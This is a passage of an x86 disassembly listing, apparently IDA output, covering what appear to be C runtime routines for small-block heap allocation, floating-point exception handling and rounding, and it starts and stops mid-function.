mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_419D01
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_419CF0
add [ecx], edx
sub [ecx+4], edx
jmp short loc_419CF9
; ---------------------------------------------------------------------------
loc_419CF0: ; CODE XREF: sub_419CBC+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_419CF9: ; CODE XREF: sub_419CBC+32j
lea eax, [edi+8]
jmp loc_419DCF
; ---------------------------------------------------------------------------
loc_419D01: ; CODE XREF: sub_419CBC+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_419D0A
mov eax, esi
loc_419D0A: ; CODE XREF: sub_419CBC+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_419D54
loc_419D11: ; CODE XREF: sub_419CBC+96j
mov bl, [eax]
test bl, bl
jnz short loc_419D47
push 1
lea ebx, [eax+1]
pop esi
loc_419D1D: ; CODE XREF: sub_419CBC+68j
cmp byte ptr [ebx], 0
jnz short loc_419D26
inc ebx
inc esi
jmp short loc_419D1D
; ---------------------------------------------------------------------------
loc_419D26: ; CODE XREF: sub_419CBC+64j
cmp esi, edx
jnb short loc_419D78
cmp eax, [ebp+var_4]
jnz short loc_419D34
mov [ecx+4], esi
jmp short loc_419D40
; ---------------------------------------------------------------------------
loc_419D34: ; CODE XREF: sub_419CBC+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_419DD9
loc_419D40: ; CODE XREF: sub_419CBC+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_419D4C
; ---------------------------------------------------------------------------
loc_419D47: ; CODE XREF: sub_419CBC+59j
movzx esi, bl
add eax, esi
loc_419D4C: ; CODE XREF: sub_419CBC+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_419D11
loc_419D54: ; CODE XREF: sub_419CBC+53j
lea esi, [ecx+8]
loc_419D57: ; CODE XREF: sub_419CBC+EBj
; sub_419CBC+F2j
cmp esi, edi
jnb short loc_419DD9
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_419DD9
mov al, [esi]
test al, al
jnz short loc_419DA9
push 1
lea ebx, [esi+1]
pop eax
loc_419D6F: ; CODE XREF: sub_419CBC+BAj
cmp byte ptr [ebx], 0
jnz short loc_419D99
inc ebx
inc eax
jmp short loc_419D6F
; ---------------------------------------------------------------------------
loc_419D78: ; CODE XREF: sub_419CBC+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_419D89
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_419D92
; ---------------------------------------------------------------------------
loc_419D89: ; CODE XREF: sub_419CBC+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_419D92: ; CODE XREF: sub_419CBC+CBj
mov [eax], dl
add eax, 8
jmp short loc_419DCF
; ---------------------------------------------------------------------------
loc_419D99: ; CODE XREF: sub_419CBC+B6j
cmp eax, edx
jnb short loc_419DB0
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_419DD9
mov esi, ebx
jmp short loc_419D57
; ---------------------------------------------------------------------------
loc_419DA9: ; CODE XREF: sub_419CBC+ABj
movzx eax, al
add esi, eax
jmp short loc_419D57
; ---------------------------------------------------------------------------
loc_419DB0: ; CODE XREF: sub_419CBC+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_419DC1
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_419DCA
; ---------------------------------------------------------------------------
loc_419DC1: ; CODE XREF: sub_419CBC+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_419DCA: ; CODE XREF: sub_419CBC+103j
mov [esi], dl
lea eax, [esi+8]
loc_419DCF: ; CODE XREF: sub_419CBC+40j
; sub_419CBC+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_419DDB
; ---------------------------------------------------------------------------
loc_419DD9: ; CODE XREF: sub_419CBC+7Ej
; sub_419CBC+9Dj ...
xor eax, eax
loc_419DDB: ; CODE XREF: sub_419CBC+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_419CBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419DE0 proc near ; CODE XREF: sub_41737F+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_419E1A
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_419E7A
; ---------------------------------------------------------------------------
loc_419E1A: ; CODE XREF: sub_419DE0+26j
jnb short loc_419E81
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_419E81
lea eax, [ecx+edx]
loc_419E2F: ; CODE XREF: sub_419DE0+59j
cmp eax, esi
jnb short loc_419E3D
cmp byte ptr [eax], 0
jnz short loc_419E3B
inc eax
jmp short loc_419E2F
; ---------------------------------------------------------------------------
loc_419E3B: ; CODE XREF: sub_419DE0+56j
cmp eax, esi
loc_419E3D: ; CODE XREF: sub_419DE0+51j
jnz short loc_419E81
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_419E75
cmp esi, eax
jbe short loc_419E75
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_419E6C
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_419E67
loc_419E60: ; CODE XREF: sub_419DE0+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_419E60
loc_419E67: ; CODE XREF: sub_419DE0+7Ej
mov [ebx+4], eax
jmp short loc_419E75
; ---------------------------------------------------------------------------
loc_419E6C: ; CODE XREF: sub_419DE0+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_419E75: ; CODE XREF: sub_419DE0+68j
; sub_419DE0+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_419E7A: ; CODE XREF: sub_419DE0+38j
mov [ebp+var_4], 1
loc_419E81: ; CODE XREF: sub_419DE0:loc_419E1Aj
; sub_419DE0+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_419DE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_419E89(int,int,double,int)
sub_419E89 proc near ; CODE XREF: sub_415D04+51p
; sub_415E4B+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43A8B8, 0
jnz short loc_419EBE
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_41A43E
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419EBE: ; CODE XREF: sub_419E89+Aj
push 0FFFFh
mov dword_46B634, 21h
push [ebp+arg_C]
call sub_41A6B1
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_419E89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419EDC(int,int,double,double,int)
sub_419EDC proc near ; CODE XREF: sub_415D04:loc_415DC7p
; sub_415E4B:loc_415F0Ep
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_41A227
add esp, 0Ch
test eax, eax
jnz short loc_419F1A
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_419F74
add esp, 18h
loc_419F1A: ; CODE XREF: sub_419EDC+1Aj
push [ebp+arg_0]
call sub_41A511
cmp dword_43A8B8, 0
pop ecx
jnz short loc_419F58
test eax, eax
jz short loc_419F58
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_41A43E
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_419F58: ; CODE XREF: sub_419EDC+4Ej
; sub_419EDC+52j
push eax
call sub_41A4C6
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_41A6B1
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_419EDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F74 proc near ; CODE XREF: sub_419EDC+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_419FA6
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_419FA6: ; CODE XREF: sub_419F74+23j
test cl, 2
jz short loc_419FB9
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_419FB9: ; CODE XREF: sub_419F74+35j
test cl, bl
jz short loc_419FCB
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_419FCB: ; CODE XREF: sub_419F74+47j
test cl, 4
jz short loc_419FDE
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_419FDE: ; CODE XREF: sub_419F74+5Aj
test cl, 8
jz short loc_419FF1
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_419FF1: ; CODE XREF: sub_419F74+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_41A694
test al, bl
jz short loc_41A07A
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_41A07A: ; CODE XREF: sub_419F74+FDj
test al, 4
jz short loc_41A085
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_41A085: ; CODE XREF: sub_419F74+108j
test al, 8
jz short loc_41A090
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_41A090: ; CODE XREF: sub_419F74+113j
test al, 10h
jz short loc_41A09A
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_41A09A: ; CODE XREF: sub_419F74+11Ej
test al, 20h
jz short loc_41A0A4
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_41A0A4: ; CODE XREF: sub_419F74+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_41A0E3
cmp eax, 400h
jz short loc_41A0D5
cmp eax, 800h
jz short loc_41A0C9
cmp eax, ecx
jnz short loc_41A0E9
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_41A0E9
; ---------------------------------------------------------------------------
loc_41A0C9: ; CODE XREF: sub_419F74+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_41A0DF
; ---------------------------------------------------------------------------
loc_41A0D5: ; CODE XREF: sub_419F74+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_41A0DF: ; CODE XREF: sub_419F74+15Fj
mov [eax], ecx
jmp short loc_41A0E9
; ---------------------------------------------------------------------------
loc_41A0E3: ; CODE XREF: sub_419F74+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_41A0E9: ; CODE XREF: sub_419F74+14Bj
; sub_419F74+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_41A114
cmp eax, 200h
jz short loc_41A107
cmp eax, ecx
jnz short loc_41A121
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_41A121
; ---------------------------------------------------------------------------
loc_41A107: ; CODE XREF: sub_419F74+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_41A11F
; ---------------------------------------------------------------------------
loc_41A114: ; CODE XREF: sub_419F74+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_41A11F: ; CODE XREF: sub_419F74+19Ej
mov [eax], ecx
loc_41A121: ; CODE XREF: sub_419F74+189j
; sub_419F74+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_41A6A2
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_421188 ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_41A19B
and dword ptr [esi], 0FFFFFFFEh
loc_41A19B: ; CODE XREF: sub_419F74+222j
test byte ptr [eax+8], 8
jz short loc_41A1A4
and dword ptr [esi], 0FFFFFFFBh
loc_41A1A4: ; CODE XREF: sub_419F74+22Bj
test byte ptr [eax+8], 4
jz short loc_41A1AD
and dword ptr [esi], 0FFFFFFF7h
loc_41A1AD: ; CODE XREF: sub_419F74+234j
test byte ptr [eax+8], 2
jz short loc_41A1B6
and dword ptr [esi], 0FFFFFFEFh
loc_41A1B6: ; CODE XREF: sub_419F74+23Dj
test [eax+8], bl
jz short loc_41A1BE
and dword ptr [esi], 0FFFFFFDFh
loc_41A1BE: ; CODE XREF: sub_419F74+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_41A1F2
dec ecx
jz short loc_41A1E6
dec ecx
jz short loc_41A1DC
dec ecx
jnz short loc_41A1F4
or byte ptr [esi+1], 0Ch
jmp short loc_41A1F4
; ---------------------------------------------------------------------------
loc_41A1DC: ; CODE XREF: sub_419F74+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_41A1EE
; ---------------------------------------------------------------------------
loc_41A1E6: ; CODE XREF: sub_419F74+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_41A1EE: ; CODE XREF: sub_419F74+270j
mov [esi], ecx
jmp short loc_41A1F4
; ---------------------------------------------------------------------------
loc_41A1F2: ; CODE XREF: sub_419F74+257j
and [esi], edx
loc_41A1F4: ; CODE XREF: sub_419F74+260j
; sub_419F74+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_41A214
dec ecx
jz short loc_41A20B
dec ecx
jnz short loc_41A21D
and [esi], edx
jmp short loc_41A21D
; ---------------------------------------------------------------------------
loc_41A20B: ; CODE XREF: sub_419F74+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_41A21B
; ---------------------------------------------------------------------------
loc_41A214: ; CODE XREF: sub_419F74+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_41A21B: ; CODE XREF: sub_419F74+29Ej
mov [esi], ecx
loc_41A21D: ; CODE XREF: sub_419F74+291j
; sub_419F74+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_419F74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A227 proc near ; CODE XREF: sub_419EDC+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_41A252
test byte ptr [ebp+arg_8], bl
jz short loc_41A252
push ebx
call sub_41A6D4
pop ecx
and edi, 0FFFFFFF7h
jmp loc_41A41C
; ---------------------------------------------------------------------------
loc_41A252: ; CODE XREF: sub_41A227+15j
; sub_41A227+1Aj
test al, 4
jz short loc_41A26C
test byte ptr [ebp+arg_8], 4
jz short loc_41A26C
push 4
call sub_41A6D4
pop ecx
and edi, 0FFFFFFFBh
jmp loc_41A41C
; ---------------------------------------------------------------------------
loc_41A26C: ; CODE XREF: sub_41A227+2Dj
; sub_41A227+33j
test al, bl
jz loc_41A346
test byte ptr [ebp+arg_8], 8
jz loc_41A346
push 8
call sub_41A6D4
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_41A31E
cmp ecx, 400h
jz short loc_41A2F6
cmp ecx, 800h
jz short loc_41A2CE
cmp ecx, eax
jnz loc_41A33E
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217E0
fld dbl_43A250
fnstsw ax
sahf
ja short loc_41A2C6
fchs
loc_41A2C6: ; CODE XREF: sub_41A227+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41A33C
; ---------------------------------------------------------------------------
loc_41A2CE: ; CODE XREF: sub_41A227+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217E0
fnstsw ax
sahf
jbe short loc_41A2E6
fld dbl_43A240
jmp short loc_41A2EE
; ---------------------------------------------------------------------------
loc_41A2E6: ; CODE XREF: sub_41A227+B5j
fld dbl_43A250
fchs
loc_41A2EE: ; CODE XREF: sub_41A227+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41A33C
; ---------------------------------------------------------------------------
loc_41A2F6: ; CODE XREF: sub_41A227+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217E0
fnstsw ax
sahf
jbe short loc_41A30E
fld dbl_43A250
jmp short loc_41A316
; ---------------------------------------------------------------------------
loc_41A30E: ; CODE XREF: sub_41A227+DDj
fld dbl_43A240
fchs
loc_41A316: ; CODE XREF: sub_41A227+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_41A33C
; ---------------------------------------------------------------------------
loc_41A31E: ; CODE XREF: sub_41A227+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4217E0
fld dbl_43A240
fnstsw ax
sahf
ja short loc_41A336
fchs
loc_41A336: ; CODE XREF: sub_41A227+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_41A33C: ; CODE XREF: sub_41A227+A5j
; sub_41A227+CDj ...
fstp qword ptr [ecx]
loc_41A33E: ; CODE XREF: sub_41A227+81j
and edi, 0FFFFFFFEh
jmp loc_41A41C
; ---------------------------------------------------------------------------
loc_41A346: ; CODE XREF: sub_41A227+47j
; sub_41A227+51j
test al, 2
jz loc_41A41C
test byte ptr [ebp+arg_8], 10h
jz loc_41A41C
push esi
xor esi, esi
test al, 10h
jz short loc_41A361
mov esi, ebx
loc_41A361: ; CODE XREF: sub_41A227+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_4217E0
fnstsw ax
sahf
jz loc_41A40A
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_41A5D3
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_41A3AC
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_41A400
; ---------------------------------------------------------------------------
loc_41A3AC: ; CODE XREF: sub_41A227+17Aj
fld [ebp+var_C]
fcomp dbl_4217E0
fnstsw ax
sahf
jnb short loc_41A3BE
mov edx, ebx
jmp short loc_41A3C0
; ---------------------------------------------------------------------------
loc_41A3BE: ; CODE XREF: sub_41A227+191j
xor edx, edx
loc_41A3C0: ; CODE XREF: sub_41A227+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_41A3F4
sub eax, ecx
loc_41A3D7: ; CODE XREF: sub_41A227+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_41A3E2
test esi, esi
jnz short loc_41A3E2
mov esi, ebx
loc_41A3E2: ; CODE XREF: sub_41A227+1B3j
; sub_41A227+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_41A3EE
or byte ptr [ebp+var_C+3], 80h
loc_41A3EE: ; CODE XREF: sub_41A227+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_41A3D7
loc_41A3F4: ; CODE XREF: sub_41A227+1ACj
test edx, edx
jz short loc_41A400
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_41A400: ; CODE XREF: sub_41A227+183j
; sub_41A227+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_41A40C
; ---------------------------------------------------------------------------
loc_41A40A: ; CODE XREF: sub_41A227+14Ej
mov esi, ebx
loc_41A40C: ; CODE XREF: sub_41A227+1E1j
test esi, esi
pop esi
jz short loc_41A419
push 10h
call sub_41A6D4
pop ecx
loc_41A419: ; CODE XREF: sub_41A227+1E8j
and edi, 0FFFFFFFDh
loc_41A41C: ; CODE XREF: sub_41A227+26j
; sub_41A227+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_41A433
test byte ptr [ebp+arg_8], 20h
jz short loc_41A433
push 20h
call sub_41A6D4
pop ecx
and edi, 0FFFFFFEFh
loc_41A433: ; CODE XREF: sub_41A227+1F9j
; sub_41A227+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_41A227 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A43E(int,int,int,int,int,int,double,int)
sub_41A43E proc near ; CODE XREF: sub_419E89+2Bp
; sub_419EDC+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_41A4EC
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_41A4A9
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_41A6B1
lea eax, [ebp+var_20]
push eax
call sub_41E0AF
add esp, 0Ch
test eax, eax
jnz short loc_41A4A3
push esi
call sub_41A4C6
pop ecx
loc_41A4A3: ; CODE XREF: sub_41A43E+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_41A4A9: ; CODE XREF: sub_41A43E+14j
push 0FFFFh
push [ebp+arg_20]
call sub_41A6B1
push [ebp+arg_0]
call sub_41A4C6
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_41A43E endp
; =============== S U B R O U T I N E =======================================
sub_41A4C6 proc near ; CODE XREF: sub_419EDC+7Dp
; sub_41A43E+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_41A4E1
jle short locret_41A4EB
cmp eax, 3
jg short locret_41A4EB
mov dword_46B634, 22h
retn
; ---------------------------------------------------------------------------
loc_41A4E1: ; CODE XREF: sub_41A4C6+7j
mov dword_46B634, 21h
locret_41A4EB: ; CODE XREF: sub_41A4C6+9j
; sub_41A4C6+Ej
retn
sub_41A4C6 endp
; =============== S U B R O U T I N E =======================================
sub_41A4EC proc near ; CODE XREF: sub_41A43E+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43A168
loc_41A4F3: ; CODE XREF: sub_41A4EC+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_41A509
add eax, 8
inc ecx
cmp eax, offset dbl_43A240
jl short loc_41A4F3
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41A509: ; CODE XREF: sub_41A4EC+Dj
mov eax, off_43A16C[ecx*8]
retn
sub_41A4EC endp
; =============== S U B R O U T I N E =======================================
sub_41A511 proc near ; CODE XREF: sub_419EDC+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_41A51D
push 5
jmp short loc_41A533
; ---------------------------------------------------------------------------
loc_41A51D: ; CODE XREF: sub_41A511+6j
test al, 8
jz short loc_41A525
push 1
jmp short loc_41A533
; ---------------------------------------------------------------------------
loc_41A525: ; CODE XREF: sub_41A511+Ej
test al, 4
jz short loc_41A52D
push 2
jmp short loc_41A533
; ---------------------------------------------------------------------------
loc_41A52D: ; CODE XREF: sub_41A511+16j
test al, 1
jz short loc_41A535
push 3
loc_41A533: ; CODE XREF: sub_41A511+Aj
; sub_41A511+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_41A535: ; CODE XREF: sub_41A511+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_41A511 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A53E(double)
sub_41A53E proc near ; CODE XREF: sub_415D04:loc_415D8Ap
; sub_415E4B:loc_415ED1p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_41A53E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A550(double,int)
sub_41A550 proc near ; CODE XREF: sub_41A5D3+82p
; sub_41A5D3+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
